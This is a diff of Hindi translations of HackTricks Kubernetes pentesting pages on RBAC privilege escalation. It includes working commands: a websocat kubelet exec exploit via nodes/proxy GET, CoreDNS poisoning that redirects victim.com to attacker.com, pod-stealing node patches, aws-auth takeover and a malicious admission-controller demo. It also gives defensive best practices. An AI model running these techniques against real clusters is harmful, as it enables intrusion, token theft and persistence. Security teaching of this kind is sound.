बनाया गया है तो **`create`**: +जो प्रिंसिपल EKS क्लस्टर्स में kube-system namespace में **`configmaps`** को संपादित कर सकते हैं (AWS में होने की आवश्यकता है) वे **aws-auth** configmap को ओवरराइट करके क्लस्टर एडमिन अधिकार प्राप्त कर सकते हैं.\ +आवश्यक verbs हैं **`update`** और **`patch`**, या **`create`** यदि configmap बनाया नहीं गया था: ```bash # Check if config map exists get configmap aws-auth -n kube-system -o yaml @@ -537,18 +539,18 @@ groups: - system:masters ``` > [!WARNING] -> आप **`aws-auth`** का उपयोग **persistence** के लिए कर सकते हैं जिससे **अन्य खातों** के उपयोगकर्ताओं को पहुंच मिलती है। +> आप **`aws-auth`** का उपयोग **persistence** के लिए कर सकते हैं, जो **other accounts** के उपयोगकर्ताओं को पहुँच देता है। > -> हालाँकि, `aws --profile other_account eks update-kubeconfig --name ` **एक अलग खाते से काम नहीं करता**। लेकिन वास्तव में `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` काम करता है यदि आप केवल नाम के बजाय क्लस्टर का ARN डालते हैं।\ -> `kubectl` को काम करने के लिए, बस सुनिश्चित करें कि **victims kubeconfig** को **configure** किया गया है और aws exec args में `--profile other_account_role` जोड़ें ताकि kubectl अन्य खाते के प्रोफाइल का उपयोग करके टोकन प्राप्त कर सके और AWS से संपर्क कर सके। +> हालांकि, `aws --profile other_account eks update-kubeconfig --name ` **doesn't work from a different acount**। लेकिन वास्तव में `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` तब काम करता है जब आप नाम की जगह cluster का ARN डालते हैं।\ +> kubectl को काम करवाने के लिए, बस यह सुनिश्चित करें कि **victims kubeconfig** को **configure** किया गया है और aws exec args में `--profile other_account_role` जोड़ें ताकि kubectl token प्राप्त करने और AWS से संपर्क करने के लिए दूसरे account प्रोफ़ाइल का उपयोग करे। ### CoreDNS config map -यदि आपके पास `kube-system` namespace में **`coredns` configmap** को संशोधित करने की अनुमति है, तो आप पता डोमेन को संशोधित कर सकते हैं ताकि आप **संवेदनशील जानकारी चुराने या दुर्भावनापूर्ण सामग्री इंजेक्ट करने** के लिए MitM हमले कर सकें। +यदि आपके पास `kube-system` namespace में **`coredns` configmap** को संशोधित करने की अनुमति है, तो आप उन address को बदल सकते हैं जिनपर domains resolve होंगे, ताकि आप MitM attacks करके **संवेदनशील जानकारी चुराने या दुर्भावनापूर्ण सामग्री इंजेक्ट करने** में सक्षम हों। -आवश्यक क्रियाएँ **`update`** और **`patch`** हैं **`coredns`** configmap (या सभी config maps) पर। +इसके लिए आवश्यक verbs हैं **`update`** और **`patch`** जो **`coredns`** configmap (या सभी config maps) पर होने चाहिए। -एक नियमित **coredns फ़ाइल** में कुछ ऐसा होता है: +एक सामान्य **coredns file** कुछ इस तरह दिखता है: ```yaml data: Corefile: | @@ -578,58 +580,75 @@ reload loadbalance } ``` -एक हमलावर इसे डाउनलोड कर सकता है `kubectl get configmap coredns -n kube-system -o yaml` चलाकर, इसे संशोधित कर सकता है जैसे `rewrite name victim.com attacker.com` जोड़कर ताकि जब भी `victim.com` तक पहुंचा जाए, वास्तव में `attacker.com` वह डोमेन हो जो पहुंचा जाएगा। और फिर इसे लागू करने के लिए `kubectl apply -f poison_dns.yaml` चलाएं। +An attacker could download it running `kubectl get configmap coredns -n kube-system -o yaml`, modify it adding something like `rewrite name victim.com attacker.com` so whenever `victim.com` is accessed actually `attacker.com` is the domain that is going to be accessed. And then apply it running `kubectl apply -f poison_dns.yaml`. -एक और विकल्प है कि बस फ़ाइल को संपादित करें `kubectl edit configmap coredns -n kube-system` चलाकर और परिवर्तन करें। +Another option is to just edit the file running `kubectl edit configmap coredns -n kube-system` and making changes. -### GKE में वृद्धि करना +### GKE में Escalation -K8s अनुमतियों को GCP प्रिंसिपलों को असाइन करने के **2 तरीके** हैं। किसी भी मामले में प्रिंसिपल को क्लस्टर तक पहुंचने के लिए **`container.clusters.get`** अनुमति की भी आवश्यकता होती है, या आपको **अपना खुद का kubectl कॉन्फ़िग फ़ाइल** बनानी होगी (अगले लिंक का पालन करें)। +There are **2 ways to assign K8s permissions to GCP principals**. In any case the principal also needs the permission **`container.clusters.get`** to be able to gather credentials to access the cluster, or you will need to **generate your own kubectl config file** (follow the next link). > [!WARNING] -> K8s एपीआई एंडपॉइंट से बात करते समय, **GCP ऑथ टोकन भेजा जाएगा**। फिर, GCP, K8s एपीआई एंडपॉइंट के माध्यम से, पहले **जांच करेगा कि प्रिंसिपल** (ईमेल द्वारा) **क्लस्टर के अंदर कोई पहुंच है या नहीं**, फिर यह जांचेगा कि क्या इसकी **GCP IAM के माध्यम से कोई पहुंच है**।\ -> यदि **कोई भी** इनमें से **सत्य** है, तो उसे **उत्तर दिया जाएगा**। यदि **नहीं** तो **GCP IAM के माध्यम से अनुमतियाँ देने** का सुझाव देने वाला एक **त्रुटि** दिया जाएगा। +> When talking to the K8s api endpoint, the **GCP auth token will be sent**. Then, GCP, through the K8s api endpoint, will first **check if the principal** (by email) **has any access inside the cluster**, then it will check if it has **any access via GCP IAM**.\ +> If **any** of those are **true**, he will be **responded**. If **not** an **error** suggesting to give **permissions via GCP IAM** will be given. -फिर, पहला तरीका **GCP IAM** का उपयोग करना है, K8s अनुमतियों के उनके **समान GCP IAM अनुमतियाँ** हैं, और यदि प्रिंसिपल के पास यह है, तो वह इसका उपयोग कर सकेगा। +Then, the first method is using **GCP IAM**, the K8s permissions have their **equivalent GCP IAM permissions**, and if the principal have it, it will be able to use it. {{#ref}} ../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md {{#endref}} -दूसरा तरीका है **क्लस्टर के अंदर K8s अनुमतियों को असाइन करना** उपयोगकर्ता की पहचान उसके **ईमेल** द्वारा करना (GCP सेवा खातों सहित)। +The second method is **क्लस्टर के अंदर K8s permissions असाइन करना** to the identifying the user by its **email** (GCP service accounts included). -### सेवा खाता टोकन बनाना +### Create serviceaccounts token -प्रिंसिपल जो **TokenRequests** (`serviceaccounts/token`) बना सकते हैं K8s एपीआई एंडपॉइंट से बात करते समय SAs (जानकारी [**यहां**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego))। +Principals that can **create TokenRequests** (`serviceaccounts/token`) When talking to the K8s api endpoint SAs (info from [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)). ### ephemeralcontainers -प्रिंसिपल जो **`update`** या **`patch`** **`pods/ephemeralcontainers`** कर सकते हैं, वे **अन्य पॉड्स पर कोड निष्पादन प्राप्त कर सकते हैं**, और संभावित रूप से **अपने नोड से बाहर** निकल सकते हैं एक विशेषाधिकार प्राप्त securityContext के साथ एक अस्थायी कंटेनर जोड़कर। +Principals that can **`update`** or **`patch`** **`pods/ephemeralcontainers`** can gain **code execution on other pods**, and potentially **break out** to their node by adding an ephemeral container with a privileged securityContext -### ValidatingWebhookConfigurations या MutatingWebhookConfigurations +### ValidatingWebhookConfigurations or MutatingWebhookConfigurations -प्रिंसिपल जिनके पास `validatingwebhookconfigurations` या `mutatingwebhookconfigurations` पर `create`, `update` या `patch` में से कोई भी क्रिया है, वे **ऐसे webhookconfigurations में से एक बना सकते हैं** ताकि वे **अनुमतियों को बढ़ा सकें**। +Principals with any of the verbs `create`, `update` or `patch` over `validatingwebhookconfigurations` or `mutatingwebhookconfigurations` might be able to **create one of such webhookconfigurations** in order to be able to **escalate privileges**. -एक [`mutatingwebhookconfigurations` उदाहरण के लिए इस पोस्ट के इस अनुभाग की जांच करें](#malicious-admission-controller)। +For a [`mutatingwebhookconfigurations` example check this section of this post](#malicious-admission-controller). -### वृद्धि करना +### Escalate -जैसा कि आप अगले अनुभाग में पढ़ सकते हैं: [**निर्मित विशेषाधिकार वृद्धि रोकथाम**](#built-in-privileged-escalation-prevention), एक प्रिंसिपल नई अनुमतियों के बिना भूमिकाओं या क्लस्टर भूमिकाओं को न तो अपडेट कर सकता है और न ही बना सकता है। सिवाय इसके कि उसके पास **`roles`** या **`clusterroles`** पर **क्रिया `escalate` या `*`** हो और संबंधित बाइंडिंग विकल्प।\ -तब वह नई भूमिकाओं, क्लस्टर भूमिकाओं को बेहतर अनुमतियों के साथ अपडेट/बना सकता है जो उसके पास हैं। +As you can read in the next section: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), a principal cannot update neither create roles or clusterroles without having himself those new permissions. Except if he has the **verb `escalate` or `*`** over **`roles`** or **`clusterroles`** and the respective binding options.\ +Then he can update/create new roles, clusterroles with better permissions than the ones he has. -### नोड्स प्रॉक्सी +### Nodes proxy -प्रिंसिपल जिनके पास **`nodes/proxy`** उपसंसाधन तक पहुंच है, वे Kubelet API के माध्यम से **पॉड्स पर कोड निष्पादन कर सकते हैं** (अनुसार [**यहां**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego))। Kubelet प्रमाणीकरण के बारे में अधिक जानकारी इस पृष्ठ पर: +Principals with access to the **`nodes/proxy`** subresource can **execute code on pods** via the Kubelet API (according to [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). More information about Kubelet authentication in this page: {{#ref}} ../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md {{#endref}} -आपके पास [**Kubelet API से अधिकृत बात करते हुए RCE प्राप्त करने का एक उदाहरण यहां है**](../pentesting-kubernetes-services/index.html#kubelet-rce)। +#### nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion -### पॉड्स को हटाना + अस्थायी नोड्स +- Kubelet maps HTTP methods to RBAC verbs **before** protocol upgrade. WebSocket handshakes must start with **HTTP GET** (`Connection: Upgrade`), so `/exec` over WebSocket is checked as **verb `get`** instead of the expected `create`. +- `/exec`, `/run`, `/attach`, and `/portforward` are not explicitly mapped and fall into the default **`proxy`** subresource, so the authorization question becomes **`can get nodes/proxy?`** +- If a token only has **`nodes/proxy` + `get`**, direct WebSocket access to the kubelet on `https://:10250` allows arbitrary command execution in any pod on that node. The same request via the API server proxy path (`/api/v1/nodes//proxy/exec/...`) is denied because it is a normal HTTP POST and maps to `create`. +- The kubelet performs no second authorization after the WebSocket upgrade; only the initial GET is evaluated. -प्रिंसिपल जो **पॉड्स को हटा सकते हैं** (`pods` संसाधन पर `delete` क्रिया), या **पॉड्स को निष्कासित कर सकते हैं** (`pods/eviction` संसाधन पर `create` क्रिया), या **पॉड स्थिति बदल सकते हैं** (पॉड्स/स्थिति तक पहुंच) और **अन्य नोड्स को अस्थायी बना सकते हैं** (नोड्स/स्थिति तक पहुंच) या **नोड्स को हटा सकते हैं** (`nodes` संसाधन पर `delete` क्रिया) और एक पॉड पर नियंत्रण रखते हैं, वे **अन्य नोड्स से पॉड्स चुरा सकते हैं** ताकि वे **समझौता किए गए** **नोड** में **निष्पादित** हों और हमलावर उन पॉड्स से **टोकन चुरा सके**। +**Direct exploit (requires network reachability to the kubelet and a token with `nodes/proxy` GET):** +```bash +kubectl auth can-i --list | grep "nodes/proxy" +websocat --insecure \ +--header "Authorization: Bearer $TOKEN" \ +--protocol "v4.channel.k8s.io" \ +"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id" +``` +- Use the **Node IP**, node name नहीं। वही request `curl -X POST` के साथ **Forbidden** होगा क्योंकि यह `create` से मैप होता है। +- Direct kubelet access API server को बायपास करता है, इसलिए AuditPolicy केवल kubelet user agent से `subjectaccessreviews` दिखाता है और **`pods/exec` कमांड्स को लॉग नहीं करता**। +- प्रभावित service accounts को [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) से enumerate करें ताकि `nodes/proxy` GET तक सीमित tokens मिले। + +### Pods हटाना + nodes को unschedulable बनाना + +ऐसे principals जिनके पास किसी pod पर नियंत्रण हो और जो निम्न में से कोई भी कर सकते हों — **delete pods** (`delete` verb over `pods` resource), या **evict pods** (`create` verb over `pods/eviction` resource), या **change pod status** (access to `pods/status`) — और जो अन्य nodes को **unschedulable** बना सकते हों (access to `nodes/status`) या **delete nodes** (`delete` verb over `nodes` resource), वे दूसरे nodes के pods को चुरा कर उन्हें compromised node पर **execute** करा सकते हैं और attacker उन pods से **tokens चुरा** सकता है। ```bash patch_node_capacity(){ curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]' @@ -642,41 +661,41 @@ kubectl delete pods -n kube-system ``` ### Services status (CVE-2020-8554) -प्रिंसिपल जो **`services/status`** को **संशोधित** कर सकते हैं, वे `status.loadBalancer.ingress.ip` फ़ील्ड को **अनफिक्स्ड CVE-2020-8554** का लाभ उठाने के लिए सेट कर सकते हैं और **क्लस्टर के खिलाफ MiTM हमले** शुरू कर सकते हैं। CVE-2020-8554 के लिए अधिकांश निवारण केवल ExternalIP सेवाओं को रोकते हैं (अनुसार [**यह**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego))। +प्रिंसिपल्स जो **modify** **`services/status`** कर सकते हैं, वे `status.loadBalancer.ingress.ip` फ़ील्ड सेट करके **unfixed CVE-2020-8554** का फायदा उठा सकते हैं और क्लस्टर के खिलाफ **MiTM attacks** लॉन्च कर सकते हैं। CVE-2020-8554 के लिए अधिकांश mitigations केवल ExternalIP services को ही रोकते हैं (according to [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego))। ### Nodes and Pods status -प्रिंसिपल जिनके पास `nodes/status` या `pods/status` पर **`update`** या **`patch`** अनुमतियाँ हैं, वे लेबल को संशोधित कर सकते हैं जिससे लागू शेड्यूलिंग प्रतिबंध प्रभावित होते हैं। +ऐसे प्रिंसिपल्स जिनके पास `nodes/status` या `pods/status` पर **`update`** या **`patch`** permissions हैं, वे लेबल बदलकर लागू शेड्यूलिंग प्रतिबंधों को प्रभावित कर सकते हैं। ## Built-in Privileged Escalation Prevention -Kubernetes में विशेषाधिकार वृद्धि को रोकने के लिए एक [बिल्ट-इन तंत्र](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) है। +Kubernetes में privilege escalation रोकने के लिए एक [built-in mechanism](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) मौजूद है। -यह प्रणाली सुनिश्चित करती है कि **उपयोगकर्ता भूमिकाओं या भूमिका बाइंडिंग को संशोधित करके अपने विशेषाधिकारों को बढ़ा नहीं सकते**। इस नियम का प्रवर्तन API स्तर पर होता है, जो RBAC प्राधिकर्ता के निष्क्रिय होने पर भी एक सुरक्षा प्रदान करता है। +यह सिस्टम सुनिश्चित करता है कि **users roles या role bindings को modify करके अपने privileges बढ़ा नहीं सकते**। इस नियम का लागू होना API स्तर पर होता है, जिससे RBAC authorizer निष्क्रिय होने पर भी सुरक्षा बनी रहती है। -नियम stipulates करता है कि **एक उपयोगकर्ता केवल तभी एक भूमिका बना या अपडेट कर सकता है जब उसके पास भूमिका में शामिल सभी अनुमतियाँ हों**। इसके अलावा, उपयोगकर्ता की मौजूदा अनुमतियों का दायरा उस भूमिका के दायरे के साथ मेल खाना चाहिए जिसे वे बनाने या संशोधित करने का प्रयास कर रहे हैं: या तो ClusterRoles के लिए क्लस्टर-व्यापी या Roles के लिए उसी namespace (या क्लस्टर-व्यापी) में। +नियम के अनुसार एक **user केवल तभी role बना या अपडेट कर सकता है जब उसके पास उस role में शामिल सभी permissions हों**। इसके अलावा, उपयोगकर्ता की मौजूदा permissions का scope उस role के scope से मेल खाना चाहिए जिसे वे बनाना या modify करना चाहते हैं: ClusterRoles के लिए cluster-wide या Roles के लिए उसी namespace (या cluster-wide) तक सीमित। > [!WARNING] -> पिछले नियम का एक अपवाद है। यदि एक प्रिंसिपल के पास **`roles`** या **`clusterroles`** पर **क्रिया `escalate`** है, तो वह भूमिकाओं और क्लस्टर भूमिकाओं के विशेषाधिकारों को बढ़ा सकता है भले ही उसके पास स्वयं अनुमतियाँ न हों। +> पिछले नियम का एक अपवाद है। यदि किसी प्रिंसिपल के पास **verb `escalate`** `roles` या `clusterroles` पर है तो वह roles और clusterroles की privileges बढ़ा सकता है भले ही उसके पास स्वयं वे permissions न हों। ### **Get & Patch RoleBindings/ClusterRoleBindings** > [!CAUTION] -> **स्पष्ट रूप से यह तकनीक पहले काम करती थी, लेकिन मेरे परीक्षणों के अनुसार यह अब काम नहीं कर रही है उसी कारण से जो पिछले अनुभाग में समझाया गया है। यदि आपके पास पहले से अनुमतियाँ नहीं हैं तो आप अपने लिए या किसी अन्य SA को कुछ विशेषाधिकार देने के लिए एक भूमिका बाइंडिंग नहीं बना/संशोधित कर सकते।** +> **जाहिर तौर पर यह technique पहले काम करती थी, पर मेरे परीक्षणों के अनुसार अब यह उसी कारण से काम नहीं कर रही जो पिछले सेक्शन में बताया गया है। आप किसी rolebinding को create/modify करके खुद को या किसी दूसरे SA को privileges नहीं दे सकते यदि आपके पास वे privileges पहले से नहीं हैं।** -भूमिका बाइंडिंग बनाने का विशेषाधिकार एक उपयोगकर्ता को **भूमिकाओं को एक सेवा खाते से बाइंड करने** की अनुमति देता है। यह विशेषाधिकार संभावित रूप से विशेषाधिकार वृद्धि की ओर ले जा सकता है क्योंकि यह **उपयोगकर्ता को एक समझौता किए गए सेवा खाते को प्रशासनिक विशेषाधिकार बाइंड करने की अनुमति देता है।** +Rolebindings बनाने की privilege एक उपयोगकर्ता को roles को एक service account से bind करने की अनुमति देती है। यह privilege संभावित रूप से privilege escalation का कारण बन सकती है क्योंकि इससे उपयोगकर्ता किसी compromised service account को admin privileges bind कर सकता है। ## Other Attacks ### Sidecar proxy app -डिफ़ॉल्ट रूप से, पॉड के बीच संचार में कोई एन्क्रिप्शन नहीं है। आपसी प्रमाणीकरण, दो-तरफा, पॉड से पॉड। +डिफ़ॉल्ट रूप से pods के बीच communication में कोई encryption नहीं होता। Mutual authentication, two-way, pod to pod। #### Create a sidecar proxy app -एक साइडकार कंटेनर बस एक **दूसरा (या अधिक) कंटेनर एक पॉड के अंदर जोड़ने** पर आधारित होता है। +एक sidecar container मूल रूप से pod के अंदर **दूसरा (या अधिक) container जोड़ने** पर आधारित होता है। -उदाहरण के लिए, निम्नलिखित 2 कंटेनरों के साथ एक पॉड की कॉन्फ़िगरेशन का हिस्सा है: +उदाहरण के लिए, निम्नलिखित एक pod की configuration का हिस्सा है जिसमें 2 containers हैं: ```yaml spec: containers: @@ -686,47 +705,47 @@ image: nginx image: busybox command: ["sh","-c",""] ``` -उदाहरण के लिए, एक नए कंटेनर के साथ एक मौजूदा पॉड में बैकडोर करने के लिए, आप बस विनिर्देशन में एक नया कंटेनर जोड़ सकते हैं। ध्यान दें कि आप दूसरे कंटेनर को **अधिक अनुमति** दे सकते हैं जो पहले को नहीं मिलेगी। +उदाहरण के लिए, किसी मौजूदा pod में नया container जोड़कर उसे backdoor करने के लिए आप specification में बस एक नया container जोड़ सकते हैं। ध्यान दें कि आप दूसरे container को पहले वाले के पास न होने वाली **अधिक अनुमतियाँ** दे सकते हैं। -अधिक जानकारी के लिए: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) +More info at: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) -### दुर्भावनापूर्ण प्रवेश नियंत्रक +### दुष्ट Admission Controller -एक प्रवेश नियंत्रक **Kubernetes API सर्वर पर अनुरोधों को रोकता है** वस्तु के स्थायीकरण से पहले, लेकिन **अनुरोध को प्रमाणित** **और अधिकृत** करने के बाद। +एक admission controller Kubernetes API server को भेजे गए अनुरोधों को ऑब्जेक्ट के स्थायीकरण से पहले, लेकिन अनुरोध के प्रमाणीकृत और अधिकृत होने के बाद इंटरसेप्ट करता है। -यदि एक हमलावर किसी तरह **Mutation Admission Controller** को **इंजेक्ट** करने में सफल हो जाता है, तो वह **पहले से प्रमाणित अनुरोधों को संशोधित** करने में सक्षम होगा। संभावित रूप से प्रिवेस्क करने में सक्षम होना, और अधिकतर क्लस्टर में स्थायी रूप से बने रहना। +यदि कोई attacker किसी तरह Mutation Admission Controller inject करने में सफल हो जाता है, तो वह पहले से प्रमाणीकृत अनुरोधों को modify करने में सक्षम होगा। इससे संभावित रूप से privesc संभव है, और अधिकतर वह cluster में persist कर सकता है। -**उदाहरण** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers) से: +**उदाहरण स्रोत** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers): ```bash git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo cd malicious-admission-controller-webhook-demo ./deploy.sh kubectl get po -n webhook-demo -w ``` -स्थिति की जांच करें कि क्या यह तैयार है: +पता करने के लिए कि यह तैयार है या नहीं, स्थिति जांचें: ```bash kubectl get mutatingwebhookconfigurations kubectl get deploy,svc -n webhook-demo ``` ![mutating-webhook-status-check.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433436353/yHUvUWugR.png?auto=compress,format&format=webp) -फिर एक नया पॉड तैनात करें: +फिर एक नया pod तैनात करें: ```bash kubectl run nginx --image nginx kubectl get po -w ``` -जब आप `ErrImagePull` त्रुटि देख सकते हैं, तो छवि नाम की जांच करें निम्नलिखित में से किसी एक क्वेरी के साथ: +जब आप `ErrImagePull` त्रुटि देख रहे हों, तो इमेज का नाम इनमें से किसी एक क्वेरी से जांचें: ```bash kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}' kubectl describe po nginx | grep "Image: " ``` ![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format&format=webp) -जैसा कि आप ऊपर की छवि में देख सकते हैं, हमने `nginx` इमेज चलाने की कोशिश की, लेकिन अंतिम निष्पादित इमेज `rewanthtammana/malicious-image` है। क्या हुआ!!? +जैसा कि आप ऊपर की इमेज में देख सकते हैं, हमने इमेज `nginx` चलाने की कोशिश की लेकिन अंतिम निष्पादित इमेज `rewanthtammana/malicious-image` है। यह क्या हुआ!!? -#### Technicalities +#### तकनीकी विवरण -`./deploy.sh` स्क्रिप्ट एक म्यूटेटिंग वेबहुक एडमिशन कंट्रोलर स्थापित करती है, जो इसके कॉन्फ़िगरेशन लाइनों में निर्दिष्ट के अनुसार Kubernetes API के अनुरोधों को संशोधित करती है, जो देखे गए परिणामों को प्रभावित करती है: +The `./deploy.sh` script establishes a mutating webhook admission controller, which modifies requests to the Kubernetes API as specified in its configuration lines, influencing the outcomes observed: ``` patches = append(patches, patchOperation{ Op: "replace", @@ -734,7 +753,7 @@ Path: "/spec/containers/0/image", Value: "rewanthtammana/malicious-image", }) ``` -The above snippet replaces the first container image in every pod with `rewanthtammana/malicious-image`. +ऊपर दिया गया स्निपेट हर pod में पहले container image को `rewanthtammana/malicious-image` से बदल देता है। ## OPA Gatekeeper bypass @@ -742,22 +761,22 @@ The above snippet replaces the first container image in every pod with `rewantht ../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md {{#endref}} -## Best Practices +## सर्वोत्तम प्रथाएँ -### **Service Account Tokens के Automount को बंद करना** +### **Service Account Tokens के Automount को अक्षम करना** -- **Pods और Service Accounts**: डिफ़ॉल्ट रूप से, pods एक सेवा खाता टोकन को माउंट करते हैं। सुरक्षा बढ़ाने के लिए, Kubernetes इस automount सुविधा को बंद करने की अनुमति देता है। -- **कैसे लागू करें**: सेवा खातों या pods की कॉन्फ़िगरेशन में `automountServiceAccountToken: false` सेट करें, Kubernetes संस्करण 1.6 से शुरू। +- **Pods and Service Accounts**: डिफ़ॉल्ट रूप से, pods एक service account token mount करते हैं। सुरक्षा बढ़ाने के लिए, Kubernetes इस automount फीचर को अक्षम करने की अनुमति देता है। +- **How to Apply**: Kubernetes version 1.6 से शुरू होकर, service accounts या pods के configuration में `automountServiceAccountToken: false` सेट करें। -### **RoleBindings/ClusterRoleBindings में प्रतिबंधात्मक उपयोगकर्ता असाइनमेंट** +### **RoleBindings/ClusterRoleBindings में सीमित उपयोगकर्ता असाइनमेंट** -- **चयनात्मक समावेश**: सुनिश्चित करें कि केवल आवश्यक उपयोगकर्ता RoleBindings या ClusterRoleBindings में शामिल हैं। नियमित रूप से ऑडिट करें और अप्रासंगिक उपयोगकर्ताओं को हटाएं ताकि सुरक्षा मजबूत बनी रहे। +- **Selective Inclusion**: सुनिश्चित करें कि केवल आवश्यक उपयोगकर्ता ही RoleBindings या ClusterRoleBindings में शामिल हों। कड़ी सुरक्षा बनाए रखने के लिए नियमित रूप से ऑडिट करें और अनावश्यक उपयोगकर्ताओं को हटा दें। -### **Namespace-विशिष्ट Roles पर Cluster-Wide Roles** +### **Namespace-विशिष्ट Roles बनाम Cluster-Wide Roles** -- **Roles बनाम ClusterRoles**: ClusterRoles और ClusterRoleBindings के बजाय namespace-विशिष्ट अनुमतियों के लिए Roles और RoleBindings का उपयोग करना पसंद करें, जो क्लस्टर-व्यापी लागू होते हैं। यह दृष्टिकोण अधिक नियंत्रण प्रदान करता है और अनुमतियों के दायरे को सीमित करता है। +- **Roles vs. ClusterRoles**: ClusterRoles और ClusterRoleBindings (जो cluster-wide लागू होते हैं) के बजाय namespace-specific permissions के लिए Roles और RoleBindings का उपयोग प्राथमिकता दें। यह तरीका अधिक सूक्ष्म नियंत्रण प्रदान करता है और permissions के दायरे को सीमित करता है। -### **स्वचालित उपकरणों का उपयोग करें** +### **स्वचालित tools का उपयोग करें** {{#ref}} https://github.com/cyberark/KubiScan @@ -778,5 +797,8 @@ https://github.com/aquasecurity/kube-bench - [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers) - [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html) - [**https://kubenomicon.com/**](https://kubenomicon.com/) +- [nodes/proxy GET -> kubelet exec WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce) +- [nodes/proxy GET detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) +- [websocat](https://github.com/vi/websocat) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md index b1a6a49e0..2d0958838 100644 --- a/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md +++ b/src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md @@ -1,25 +1,25 @@ -# Kubelet Authentication & Authorization +# Kubelet प्रमाणीकरण और प्राधिकरण {{#include ../../../banners/hacktricks-training.md}} -## Kubelet Authentication +## Kubelet प्रमाणीकरण -[**From the docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) +[**डॉक्स से:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/) -डिफ़ॉल्ट रूप से, kubelet के HTTPS एंडपॉइंट पर अनुरोध जो अन्य कॉन्फ़िगर किए गए प्रमाणीकरण विधियों द्वारा अस्वीकृत नहीं होते हैं, उन्हें अनाम अनुरोध के रूप में माना जाता है, और उन्हें **`system:anonymous`** का **उपयोगकर्ता नाम** और **`system:unauthenticated`** का **समूह** दिया जाता है। +डिफ़ॉल्ट रूप से, kubelet के HTTPS endpoint पर आने वाले वे अनुरोध जो अन्य कॉन्फ़िगर किए गए प्रमाणीकरण विधियों द्वारा अस्वीकार नहीं किए जाते, उन्हें anonymous अनुरोध माना जाता है, और उन्हें दिया जाता है **username of `system:anonymous`** और **group of `system:unauthenticated`**। -**3** प्रमाणीकरण **विधियाँ** हैं: +प्रमाणीकरण के **3** **तरीके** हैं: -- **अनाम** (डिफ़ॉल्ट): सेटिंग का उपयोग करें पैरामीटर **`--anonymous-auth=true` या कॉन्फ़िग:** +- **Anonymous** (डिफ़ॉल्ट): पैरामीटर सेट करने के लिए उपयोग करें **`--anonymous-auth=true` या config:** ```json "authentication": { "anonymous": { "enabled": true }, ``` -- **Webhook**: यह **kubectl** **API bearer tokens** को प्रमाणीकरण के रूप में **सक्षम** करेगा (कोई भी मान्य टोकन मान्य होगा)। इसे अनुमति दें: -- सुनिश्चित करें कि `authentication.k8s.io/v1beta1` API समूह API सर्वर में सक्षम है -- kubelet को **`--authentication-token-webhook`** और **`--kubeconfig`** ध्वजों के साथ प्रारंभ करें या निम्नलिखित सेटिंग का उपयोग करें: +- **Webhook**: यह kubectl **API bearer tokens** को authorization के रूप में सक्षम करेगा (कोई भी वैध token मान्य होगा)। इसे अनुमति दें: +- सुनिश्चित करें कि `authentication.k8s.io/v1beta1` API group API server में सक्षम है +- kubelet को **`--authentication-token-webhook`** और **`--kubeconfig`** flags के साथ शुरू करें या निम्नलिखित setting का उपयोग करें: ```json "authentication": { "webhook": { @@ -28,11 +28,10 @@ }, ``` > [!NOTE] -> kubelet **`TokenReview` API** को कॉन्फ़िगर किए गए API सर्वर पर कॉल करता है ताकि **उपयोगकर्ता जानकारी** को bearer tokens से **निर्धारित** किया जा सके। - -- **X509 क्लाइंट सर्टिफिकेट:** X509 क्लाइंट सर्टिफिकेट के माध्यम से प्रमाणीकरण की अनुमति देता है -- अधिक विवरण के लिए [apiserver authentication 